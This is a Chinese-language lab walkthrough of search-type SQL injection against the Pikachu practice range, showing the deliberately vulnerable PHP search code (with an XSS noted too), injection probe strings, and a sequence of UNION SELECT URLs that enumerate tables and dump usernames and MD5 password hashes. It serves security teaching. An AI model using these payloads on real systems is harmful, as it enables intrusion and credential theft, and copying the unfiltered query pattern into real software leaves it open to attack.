网络安全之pikachu搜索型注入实战

实例讲解:
1.搜索型注入漏洞产生的原因:
  在搭建网站的时候为了方便用户搜索该网站中的资源,程序员在写网站脚本的时候加入了搜索功能,但是忽略了对搜索变量的过滤,造成了搜索型注入漏洞,又称文本框注入。
2.搜索型注入的类型:
  同其他注入类型相同,由于提交表单的不同,可分为GET型(多出现于网站上的搜索)和POST型(多出现于用户名的登录搜索匹配),搜索型注入是国内系统中普遍存在的漏洞。
3.原理分析:

select username,id,email from member where username like '%$name%'

这句SLQ语句就是基于用户输入的name的值在表member中搜索匹配username,但是如果输入 'and 1=1 and '%'=' 就变成了

select username,id,email from member where username like '%$name'and 1=1 and '%'='%'

就存在了SQL注入。
4.搜索型注入的判断方法:
搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
根据两次的返回情况来判断是不是搜索型文本框注入了
下面方法也可以测试

'and 1=1 and '%'='
%' and 1=1--'
%' and 1=1 and '%'='

源码:

if(isset($_GET['submit']) && $_GET['name']!=null){

    //这里没有做任何处理,直接拼到select里面去了
    $name=$_GET['name'];

    //这里的变量是模糊匹配,需要考虑闭合
    $query="select username,id,email from member where username like '%$name%'";
    $result=execute($link, $query);
    if(mysqli_num_rows($result)>=1){
        //彩蛋:这里还有个xss
        $html2.="<p class='notice'>用户名中含有{$_GET['name']}的结果如下:<br />";
        while($data=mysqli_fetch_assoc($result)){
            $uname=$data['username'];
            $id=$data['id'];
            $email=$data['email'];
            $html1.="<p class='notice'>username:{$uname}<br />uid:{$id} <br />email is: {$email}</p>";
        }
    }else{

        $html1.="<p class='notice'>0o。..没有搜索到你输入的信息!</p>";
    }
}

实验过程:
1、使用UNION联合查询法判断字段数,测试在name=后面构造 order by 1和order by 2时回显有报错,当到order by 3时回显正常,所以可以判断字段数为3个字段。

http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' order by 3 --+&submit=æç´¢

2、通过联合查询法构造union select 1,2语句来显示字段。

http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,3 --+&submit=æç´¢

3、通过联合查询法查询数据库库名。

http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,database() --+&submit=æç´¢

4、通过上一步联合查询法我们得到靶场上存在的数据库库名,接下来我们查看一下这个数据库里面存在哪些表。

http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,group_concat(table_name) from information_schema.tables where table_schema='pikachu' --+&submit=æç´¢

5、通过查询pikachu这个数据库发现里面有users表,然后在查看users表里面存在哪些表项。

http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+&submit=æç´¢

6、通过查询users表发现表里存在2个表项分别是username和password,最后分别查看一下这两个表项的内容得到用户名和密码。

http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,username from users username --+&submit=æç´¢

http://xxxxx.com/pikachu-master/vul/sqli/sqli_search.php?name= ' UNION SELECT 1,2,password from users password --+&submit=æç´¢

 

 

最终获取到经过md5加密的密码

用户名经过md5加密过的密码明文密码
admine10adc3949ba59abbe56e057f20f883e123456
pikachu670b14728ad9902aecba32e22fa4f6bd000000
teste99a18c428cb38d5f260853678922e03abc123

文章转自:林三岁网络安全实验室

转载请注明出处:https://bbs.linsansui.cn/thread-52-1-1.html

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 7
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值